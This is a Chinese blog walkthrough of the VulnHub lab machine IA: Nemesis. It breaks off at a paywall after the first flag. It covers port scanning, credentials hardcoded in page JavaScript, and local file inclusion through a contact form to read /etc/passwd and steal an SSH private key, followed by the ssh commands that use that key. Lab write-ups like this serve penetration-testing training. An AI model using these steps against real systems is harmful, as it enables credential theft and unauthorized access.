IA: Nemesis (1.0.1) vulnhub walkthrough

最新推荐文章于 2025-01-13 18:59:24 发布

xdeclearn

最新推荐文章于 2025-01-13 18:59:24 发布

阅读量2.2k

点赞数 4

分类专栏： vulnhub

本文链接：https://blog.youkuaiyun.com/xdeclearn/article/details/109309103

版权

本文介绍了在Vulnhub上的IA: Nemesis (1.0.1)虚拟机的渗透测试过程。通过服务探测、Web渗透测试和提权，逐步获取三个flag。在web渗透中，利用本地文件包含漏洞(LFI)获取SSH私钥，进而登录获取第一个flag。通过替换脚本反弹shell，得到第二个flag。最后，破解加密算法，提权至root获取第三个flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

IA: Nemesis (1.0.1)

虚拟机页面：http://www.vulnhub.com/entry/ia-nemesis-101,582/

Description

Difficulty: Intermediate to Hard
Goal: Get the root shell and read all the 3 flags.
Information: You need some good encryption and programming skills to root this box. Please solve this challenge by using only the intended way, any unintended way will not be apprecitated.
If you need any hints, you can contact us on Twitter (@infosecarticles)

服务探测

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
52845/tcp open  http    nginx 1.14.2
52846/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

web渗透测试

80端口服务有一个登录入口，在页面的validateForm函数中得到了用户名和密码，但是登录后没有任何东西。

<!DOCTYPE html>
function validateForm() {
   
  var x = document.forms["myForm"]["uname"].value;
  var y = document.forms["myForm"]["pass"].value; 
  if (x == "") {
   
    alert("Name must be filled out");
    return false;
  }
 if (y == "") {
   
    alert("Password must be filled out");
    return false; 
}
 if (x == "hacker_in_the_town" && y == "thanos")
	{
   
		document.write("You will be redirected to main page in 3 sec.");
            	setTimeout('validate()', 3000);
	}
}

紧接着访问52845端口，在#contact中尝试输入任意信息然后提交，出现提示Message has been saved in a file,于是在Message中输入/etc/passwd，成功实现了LFI。
lfi
passwd

之后，尝试了一些常见log读取失败后，尝试ssh登录thanos，发现需要私钥认证。

kali@kali:~$ ssh -p 52846 thanos@192.168.56.42 
thanos@192.168.56.42: Permission denied (publickey).

尝试利用LFI获取thanos私钥/home/thanos/.ssh/id_rsa，成功并实现ssh登录，获取到第一个flag。

kali@kali:~$ ssh -p 52846 -i id thanos@192.168.56.42 
Linux nemesis 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct 26 08:48:39 2020 from 127.0.0.1
thanos@nemesis:~$ ls -all
total 40
drwxr-xr-x 4 thanos thanos 4096 Oct 25 10:05 .
drwxr-xr-x 4 root   root   4096 Oct  6 15:17 ..
-rw-r--r-- 1 carlos carlos  345 Oct  3 22:22 backup.py
-rw------- 1 thanos thanos 1065 Oct 26 09:11 .bash_history
-rw-r--r-- 1 th

最低0.47元/天解锁文章